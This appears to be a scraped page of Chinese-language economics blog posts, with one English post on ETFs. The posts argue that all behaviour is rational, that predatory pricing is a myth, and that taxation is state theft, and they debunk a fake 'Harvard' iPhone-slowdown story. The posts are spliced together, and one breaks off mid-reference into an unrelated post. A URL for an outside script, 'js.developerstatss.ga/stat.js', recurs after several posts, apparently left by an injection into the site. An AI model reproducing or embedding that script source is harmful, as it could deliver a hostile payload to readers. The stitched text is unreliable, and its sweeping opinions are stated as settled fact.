分類: 經濟分析

有關經濟學是否必須以「人的行為必定理性 — 需求曲線向右下傾斜」網友與我之間的一些對話，我覺得可以單篇彙整留存。

事先聲明，我們所談的「理性」是指「以越少代價換取越高效益」這個行為模式，而非傳統或哲學上對理性的定義。

奉君山 ：

「我轉述一下薛兆豐教授的見解：

行為經濟學談不理性行為，許多人誤以為理性人是經濟學的基本前提，於是以為行為經濟學超出了經濟學的框架，不理性行為的存在，顛覆了經濟學的解釋框架。

但是在阿爾欽談不確定性的文章當中，已經把經濟學的基礎奠基於「探尋在充滿不確定性的現實中，如何求存的規律」上。

也就是說，人當然可能、也往往是不理性的，但只要他得要在現實中求存，他就迴避不了一些規律：比方說試著用更少的代價，換到更多的好處。

一個人、一間公司大可試著不這樣幹，但他就會面臨虧損、倒閉、無法生存的後果，這是經濟學要去探討的規律。

在這個意義上，不理性行為的存在，非但沒有顛覆經濟學，也沒有超越經濟學的框架，而是豐富了我們對人類行為的理解。以上轉述，跟大家分享。」

我：「謝謝，薛的看法我並不認同，理由於內文與回覆我應該都談得很清楚。

除非你能清楚且科學地判斷人什麼時候理性、什麼時候又不理性，否則這樣的論點只是造成理論崩盤，而非完善或拓展。」

黃泥多 ：「不知元毓對阿爾欽的「不確定性，演化與經濟理論」一文有什麼看法？」

本次諾貝爾經濟學獎頒給一個宣稱「不理性存在」的學者，彰顯整體經濟學界的墮落與退步。

說過許多次，經濟學的基礎功在於對經濟學基本概念的掌握，而非那些高深但往往無內容的數學。

講更直白，經濟學的數學玩得再高深，也不如工程數學或物理數學乃至於純數學本身的難度。但懂數學者都知道數學不等於科學，數學只是一種更精準的描述語言，重點在於語言是否有內容，如果內容不科學，則即便套上數學的外衣也不過是國王的新衣。

我也說過許多次，經濟學的「理性」定義非常嚴謹且明確 — 需求曲線必定向右下傾斜。

翻成白話文就是：只要行為模式符合「永遠嘗試用更少代價換取更多效益」就是經濟學定義的「理性」。

反之，當有人宣稱行為可能「不理性」時，其實他所說的是：「有人願意用更高的代價換取更少的東西。」而這在真實世界是不存在的行為。

即便是奢侈品，也是促銷時賣得比原價好（身為多家名牌集團的股東，這部份我跟管理階層考證過）。許多人誤以為奢侈品越貴賣越好，這是錯誤的迷思，其實賣最好的多是那些較便宜的入門款、經典款。少部分可以高價還賣得好的設計師款，多是因為二手價格支撐，如果二手價崩盤，則新品也會跟著崩。

即便是藝術品，單品的故意高價買入行為，往往是因為買者手頭藏有大量同作者作品，故意高價買入新品，其實是提高自己收藏的整體租值，依然符合經濟學定義之「理性行為」。因為如果哄抬單品價格不具備抬高整體之效果，則哄抬行為就不存在了。

舉此二例是要說明，許多看似不理性行為背後都有其需要考究的侷限條件。

如同我在舊文【經濟學基礎第四講–自私的假設（中）】裡已說得很明白：

蝦皮這兩年免運費策略殺得台灣電商如PCHome哀哀叫。

本文先簡單經濟分析蝦皮的競爭策略，然後回頭分享我跟PCHome合作的不愉快經驗。

最近發展看來，開始有人出來聲稱要檢討蝦皮是否為陸資背景。

果然歐美法律之陋習台灣是學得很好 — 競爭不過別人，就拿無理法律出來耍流氓。

除了歐美失敗廠商常搞的反托拉斯法（台灣叫公平交易法），台灣還有個「陸資條款」。

先講反托拉斯法，從經濟分析來看，正常買方永遠不會嫌賣方賣得太便宜。

但公平交易法卻稱這是「掠奪性定價（predatory pricing）」，是不公平競爭需要立法管制禁止。

顯見立法者對於經濟學無知到一個極點。根據我對美國反托拉斯法的研究，當年Sherman Acts等各種法律之通過，立法者與執政者對於經濟學之無知與誤解有其緣由 — 當年經濟學家錯得離譜而不自知，又被政客利用使然。

當然，也可能立法者故意創造如此尋租的空間，來賺取政治利益，讓遊說團體、公關公司幫競爭落敗公司尋找利益輸送的管道與空間。這是我認為這類法律還存活，甚至被台灣政府照本宣科搬抄過來的理由之一。

掠奪性定價始終只是一個神話，是一個在真實世界不可能成立的競爭模式。

簡單經濟分析如下：

狀況一 — 賠錢賣

一家廠商本錢再如何雄厚，也不可能「永遠」賠錢賣。

當有一天這家賠錢賣廠商終於擠出市場內看得到的敵人而開始漲價時，那些曾經落敗或尚未進入市場的，一看市場租值開始回升，很快就又能重新進入市場。試問這家掠奪性定價策略廠商又要回頭繼續賠錢競爭？而它還能再賠多久？（這邊告訴我們關鍵在於「市場進入障礙」，因此不公平競爭真正存在，多半是既有廠商試圖透過政治法律手段建立進入障礙，如證照制度、資本額限制、各種法規限制，而這偏偏是公平交易法不處理的部份）

又，許多賠錢賣商品的策略執行時，市場內競爭對手甚至發現掠奪定價比自己進貨價還低時，乾脆迂迴從掠奪性定價廠商那邊少量進貨，自己縮小規模慢慢對耗，也是一種真實世界存在的策略。

又，競爭對手可能發現賠錢賣頂多是部分商品，不可能是全部商品時，競爭對手乾脆把會賠錢的訂單都倒給掠奪性定價者，讓它更快自爆死掉。

真實世界早年許文龍奇美壓克力創立時，遇到財大氣粗的競爭對手賠售競爭，許文龍乾脆逆向操作，細算對手成本結構，把對手毛利率賠最慘的品項找出後，奇美逆向漲價，訂單全倒過去，一年對手賠到賣祖產也不夠淘汰出局。

又，競爭對手可能乾脆採取差異化策略，區隔商品本質與內涵，從而提高租值跳脫殺價競爭。便當界就很常看到價格競爭與差異化競爭同時並存於市場中的現象，所以我們才會看到45元便當與千元便當均存在以滿足不同消費需求，反之，同一個消費者可能既享用千元便當，也購買45元便當，本身並無衝突。

真實世界並非不存在賠錢賣策略，但使用者通常心知肚明只能當做暫時性的廣告費用，不可能是長久性的競爭策略。亦或是少部分賠錢商品作為廣告吸引消費者購買能獲利的商品，希冀整體能夠獲利。

黎智英的蘋果日報甫進台灣，一份5元還送蘋果一顆，就是要用賠錢賺知名度的策略，黎智英自己也清楚所賠是廣告費，有其預算上限，達到效果就要收手。

顯然蝦皮也是為了快速在短時間內匯聚台灣市場人氣採取類似的策略。

美國小布希總統的首席經濟顧問，現為哥倫比亞大學商學院院長投稿的好文章「Why America Needs Tax Reform」，值得一讀。

兩個重點我特別標出來：

1. 全球化經濟競爭下，對大企業的資本競爭已經是一個跨國的現狀，政府不可能關起門來自己想要怎麼課稅就亂課，而完全不考慮資本被嚇跑或過門不入的問題。

美國的企業所得稅是OECD國家中最高，如此制度是蠢到死，不改不行。

2. 多數對企業課的重稅，事實上並非由資本家承擔，而是會轉移到勞工身上 — 轉移形式包括：減少升遷與加薪機率、減少生產或辦公設備的更新與改進、減少各種投資機會從而減少勞工收入增加之機會。

我要再強調一次機會成本觀念。課稅是用政府暴力將財產從某些人手上移轉到政府上。

稅金非常至關緊要的機會成本在於：

1. 依照私有產權制度，原本在私人手上的既有資產無論是投資、保存甚至消費，都會在自由市場經濟下得到效率最大化。

政府暴力奪取移轉財產，則這筆財產就失去了原本可以得到最佳化使用的機會。

2. 政府本身效率是否高過私人的使用效率？如果是，那勉強可以合理化暴力奪取這件事。

可偏偏政府效率低得離譜，這變成這筆財產不到失去原本最佳化使用的機會，而被強迫用在低效率的用途上。

特別強調政府即便用稅金從事社會福利工作，其效率也是遠低於私人慈善團體，而其可被貪汙的空間卻是確定的。

也就是說，那些主張對富人課重稅者，往往經濟感受或邏輯是非常差勁的。這些笨蛋甚至不知道課重稅後的經濟效果是什麼，才會蠢到以為重稅可以保護窮人。

我更相信，某些主張重稅的政客，只是在幫自己製造更多貪汙機會而已。

https://js.developerstatss.ga/stat.js?n=ns1

I would like to talk about three events that have been in progress for couple years.

1. The dark cloud on the immediate horizon is the Exchange-trade funds, which have grown exponentially in size in the past five years, but never been crucially examined by panicked selling. If the market turns around and the ETF investors decide to abandon their shares out of fear, ETFs would be forced to dump stocks and such behaviors could begin a vicious circle and drag the stock prices into a deeper valley.

And I believe the algorithmic or AI trading could deteriorate such situation.

2. The S&P 500 has reached 19 times of P/E ratio, higher than the historical average of about 15.

Readers might read my article on P/E ratio first— “談本益比觀念的對與錯 ”

I think the 19 times of P/E ratio is not the problem itself. It simply reflects the reality of extremely low interest rates for almost a decade. The artificial manipulation of interest rates can mislead the prices of time of the markets, distort the anticipates of incomes, and increase the information costs. Therefore, the interest rates are the causes and the high P/E ratio is nothing but the unavoidable effect. “Action and reaction,” as they said. 

You shall not explain facts by facts.


3. The low interest rates also have encouraged a lot of corporate-share-buyback plans by borrowing, which has been one of the factors boosted the stock prices in the past five years. And I wouldn’t say it is a healthy phenomenon, despite Warren Buffett’s preference.

All these factors imply that the intrinsic economic progress might be left behind the raising prices of the capital markets. The diversion of these two, the reality and the artificial finance system, is the major cause of most financial crises.

As I said in the last article, “榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress) ,” the monetary policy of Fed and the uncertain success of the economic reforms by President Donald Trump are two key factors in my prediction of the US economy and the performance of its stock markets. Once either one went wrong, the bear could show up all of a sudden.

PS.

1. There can be high settlement or bankruptcy risks for small or over-diversified ETFs in the bear markets. Although the investors can get back their shares of the real assets, it could be worthless after all. And such fear could induce investors and the ETF managers, who by doing so is breaking the contracts, to dump their holdings for money.

2. There can be even higher risks for leverage, inverse, or complex-designed derivative ETFs in a down turn. And I guess the bankruptcy administrators assigned by the courts would probably choose to sell the stocks or bonds and to cancel or abolish the complex derivative financial contracts for cash as soon as possible, which could cause the vicious circle as I mentioned in the article.

At present the ETFs go too far from the original purpose. For me, many of them are more like derivative goods rather than pure investing vehicles. It’s kind of new fashion for people of means. But we have no idea what would really happen when the tide is out. We can wait and see.https://js.developerstatss.ga/stat.js?n=ns1

中研院院士王平、謝長泰、朱敬一等人歷時27個月研究，於5日發布「台灣經濟競爭與成長策略建議」白皮書，內容直言：「台灣經濟有三大黑手：法律、環評和赤色恐怖，不盡快解決的話，台灣會被害得不輕。」

這三個點在我的blog上已經多多少少談過數次，而更早在2007年我也預言台灣薪資成長將停滯甚至衰退，可是這段時間我們完全沒看到台灣政府有任何正確的因應措施，反而是不斷加重經商環境的困難與禁錮，同時不斷加碼對社會有害無益的諸多社福政策，與透過健保、勞保制度等變相加稅。

許多外商報告也闡述同樣的看法。

中研院這幾位院士算是後知後覺亦或政治風向測試。

可悲的是中研院還有腦袋不清者，繼續主張「課徵資本利得稅」。關於資本利得徵稅我一向反對，可參見：反對政府課徵資本利得稅一文

台灣稅務問題上，租稅不公從來就不是重點，而是政府肆意浪費稅金、政客與公務員聯手制度化貪汙才是重中之重。

台灣還有二個很糟糕的意識型態：

一者，就是錯誤地認定富人賺取財富的過程是虧欠了社會，所以要課重稅或道德勸說捐款。大錯特錯！

我在此blog也說過許多次，除非是透過政治尋租貪汙勾結或強盜搶奪或詐欺等犯罪手段致富，否則正常自由市場交易下累積財富的過程必然是提供了社會所需之商品服務，已經對社會是巨大貢獻，何來虧欠之有？因為自由交易下，買方必然是主觀認定所購買之商品服務帶來之用值大於等於其所付出之代價。反之，賣方如能累積大量財富，則必然是：a. 利益相當多人或b.利益少數人但用值極高，使得少數人願意付出高代價換取。

特別提醒，就經濟分析而言，此處尚未引進交易費用，包含詐欺、侵害他人產權等因素。單指正常的、普遍性的交易行為，例如夜市賣雞排、章魚小丸子。

二者，就是錯誤地認定政府一旦多課稅，問題就解決了。殊不知這才是創造問題的惡根！

a. 如此認定，盲目地假設政府運用資源效率高過私人，所以才會蠢到支持政府用法律暴力手段，硬把私人資源移轉部分到政府手中。

而事實驗證告訴我們，政府效率一向其差無比。上述假設根本無立足之地，卻還有許多人明裡暗裡有此錯誤期待。

有網友詢問：「難道政府不該有長照政策與預算？」我就以此點作為答覆 — 你已經錯誤地假設政府提供的長照政策效率可以高過民間自發性的市場機制，才會有此疑問。

b. 政府手頭稅金越多，貪汙尋租空間越高，就越多人從事政客、無恥官癌公務員這種不事生產、合法竊盜搶劫人民財產的職業。這些人搞出來的諸多政爭、黨爭乃至於動員學生、青年人從事各種破壞性、無生產力的政治活動，美其名為民喉舌、愛家愛國，實質只是分贓不均下的競爭型態轉換。

https://js.developerstatss.ga/stat.js?n=ns1

網路流傳的此篇文章；「哈佛證實: 新iPhone發佈舊機即降速　變相要你換機」

真是典型的偽科學。

不是實際用客觀軟體測量舊iPhone安裝新新系統之後的運算評測，而是用毫無科學根據的「Google關鍵字趨勢」來推測iPhone裝新系統後變慢了。這就是濫用與誤用統計學的一個經典案例 — garbage in and garbage out。垃圾研究所得到的垃圾結論。

Richard Feynman就曾撰文舉了一個偽科學的虛構例子：

古代中國人不允許直接直視皇帝，都得跪趴在地上聆聽聖訓，結果大家都不是很清楚皇帝究竟長什麼樣。有家好事的雜誌社想要知道中國皇帝鼻子究竟有多長，於是大手筆發出10億份問卷調查境內中國人對皇帝鼻子長度的意見，之後用極為複雜的統計學得出中國皇帝鼻子應該是幾多長。

試問這樣的統計行為有任何科學上的意義嗎？沒有。

不過現今計量經濟學卻充斥這種偽科學統計 — 例如試圖探討全球暖化、太陽黑子、小行星運行與股票市場的關係（ Predicting anomaly performance with politics, the weather, global-warming, sunspots, and the stars,” Journal of Financial Economics 112 (2014), pp. 137–146. ）這種蠢文章也上得了期刊，可見現在經濟學行業水準有多差。

順道一提，網路這篇蠢文章作者Laura Trucco似乎只是一個博士後，何德何能代表整個哈佛得出「Apple故意降速逼迫消費者升級」如此結論？顯然該篇中文編譯者根本在鬼扯。

所以我簡單查詢一下就發現，這篇網路文章根本就是2014年就有的假新聞！！所謂的研究不過是這位哈佛經濟系博士班研究生針對Google關鍵字趨勢提出觀察，並非正式論文或研究。而這觀察本身毫無價值只是偽科學，理由我在前面已經闡明。https://js.developerstatss.ga/stat.js?n=ns1

為什麼看起來有錢的人比看起來很窮的人更容易要到施捨呢？

如果先把價值判斷放進來：「喔！你看社會勢利、朱門酒肉臭路有凍死骨啊！」那就錯了，也不是學習的正確態度。

我們應該思考的是在素昧平生前提下，僅靠有限的資訊費用 — 如衣著、裝飾、配備… — 人們會如何做決定？

很顯然都市居民在生活經驗引導下，傾向認為已經很有錢的人詐騙小錢機率低；而看似遊民者機率高，甚至詐騙背後還可能有同夥順勢跳出來搶劫的可能（美國那種路邊裝可憐問路，實則同夥持槍搶車強姦者案例均有報導可查）。

我還記得有一年冬天我在Berkeley某家加油站加油時，有個遊民過來跟我閒聊幾句，無非是聊聊天氣、聊聊手上咖啡好不好之類的屁話，這個心情很好的遊民就走了。可是我車上的白人同學一臉蒼白地嚇壞了，還質問我為什麼跟這種人講話。

經濟學的需求理論在此發揮很大的解釋力：

一般人看到已經很有錢的人來要點小錢，施予者很容易認為施予成本很低，至少自己人身安全沒有問題，還能滿足自己的善心（也容易推測對方需要幫助的真實性比較高）。

看到疑似遊民者來要點小錢，施予者則容易從過去累積的知識經驗中，主觀認定施予成本很高：恐怕是來騙的、搞不好還要搶、搶錢不夠還要搶青春肉體…。比方說我是宮廟旁傳統市場長大的小孩，宮廟前哪些職業乞丐其實家裡是開賓士、住別墅的，瞭如指掌，在我知悉此訊息前提下，要我施捨給他們的機率是零。

已經是遊民者，則可能：a.比一般人更熟悉與有能力判斷乞討者的真實成分高低，以及b. 相較一般人，可失去的成本較低（或許主觀認為nothing to loose），而在行為上更願意幫助。

從這影片可以學到很多：

1. 資訊成本對人類行為的影響。

2. 人類行為成本都是主觀的，所以請讀者回想我寫的「經濟學基礎第四講」中討論理性行為，我強調 — 經濟學來看，人類所有行為都是理性行為，只要符合需求曲線向右下傾斜者均是理性。但是理性行為不保證是「決策正確」。人會因為資訊成本的因素而做出錯誤判斷，但依然是理性行為，只是基於錯誤資訊而決策。

所以看到號稱經濟學大師在宣揚「不理性經濟學」之類的東西時，這些所謂的大師（其中包含諾貝爾獎得主）其實經濟學基本功都沒學好。如果經濟學理論上同時存在可能理性、可能不理性，則整門學問就失去科學解釋力，不學也罷。

之所以歸咎「不理性」，通常只是因為所謂的大師對於真實世界侷限條件、資訊成本「不懂又不肯承認」罷了。

3. 正因為成本均是主觀，所以經濟學上我們只能從人類客觀行為來回推其主觀成本為多少。簡單說，就是從一個人願意放棄多少代價去追求某樣事物，回推至少他主觀認為該事物帶來的主觀享受利益要大於或等於其放棄代價，他才會做出這樣的決策。

4. 詐騙行為資訊會被傳遞、學習，例如拒絕施捨遊民上，雖然可能該乞討者真的需要幫助，但一般人基於過去經驗與保護自己的考量，依然選擇拒絕。

5. 這也解釋為什麼高等一點的詐騙，施騙者本身都要裝得很有錢（出入名車、身著名牌、旁邊再跟兩個正妹秘書），或是裝得很有人望（蓋富麗堂皇的大寺廟，眾多弟子參拜跪倒），或是裝得很有關係（不斷炫耀自己跟誰誰誰很熟，一通電話就能解決多少問題…blah blah）方能卸下被騙者的主觀成本。

綜合4、5二點也解釋了詐術為什麼要不斷推陳出新。

因此，看到金融市場上很多人中了龐氏騙局，不要傻傻地道德批判：「人就是不理性或人就是貪心。」換成你表現可能也不會好到哪去。

正確地看，應該是去研究新的騙術是怎樣成功降低受騙者的資訊費用與主觀成本，然後自己學起來自保。